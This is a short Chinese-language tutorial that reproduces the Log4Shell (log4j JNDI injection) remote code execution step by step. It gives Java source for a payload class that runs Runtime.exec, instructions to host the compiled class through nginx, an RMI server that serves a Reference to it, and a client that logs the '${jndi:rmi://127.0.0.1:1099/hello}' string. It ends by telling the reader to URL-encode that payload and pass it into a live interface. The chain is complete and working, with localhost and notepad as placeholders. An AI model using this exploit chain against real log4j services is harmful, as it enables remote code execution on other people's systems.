概念不多说直接上操作
第一步:编写注入类
public class BugFinder { public BugFinder() { try { System.out.println("执行漏洞代码"); // 打开计算器 // Process rt = Runtime.getRuntime().exec("calc"); // 打开记事本 Process rt2 = Runtime.getRuntime().exec("notepad"); System.out.println("完成执行漏洞代码"); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { BugFinder bugFinder = new BugFinder(); } }
第二步:用 idea 或 javac 编译获取 BugFinder.class
第三步:将 BugFinder.class 配置成可通过http获取的资源。
如:将 BugFinder.class 直接放入 nginx/html 下 通过 nginx 代理。通过
http://127.0.0.1:80/BugFinder.class 可以访问代表成功。
第四步:添加 RMI 服务
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI启动,监听:1099 端口"); Reference reference = new Reference("你的全包路径.BugFinder", "你的全包路径.BugFinder", "http://127.0.0.1:80/BugFinder.class"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); } }
第五步:添加测试客户端,此客户端可以模拟实际情况。
public class RmiClient { private static final Logger logger = LogManager.getLogger(RmiClient.class); public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); logger.error("${jndi:rmi://127.0.0.1:1099/hello}"); Thread.sleep(5000); } public static void other() throws Exception { // JDK 1.8 高版本是关闭的 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); ctx.lookup("hello"); } }
第六步:实际接口演示
首先,参数在log4j日志中打印。
之后,将 ${jndi:rmi://127.0.0.1:1099/hello} 通过 UrlEncode 编码后当参数传入接口中即可。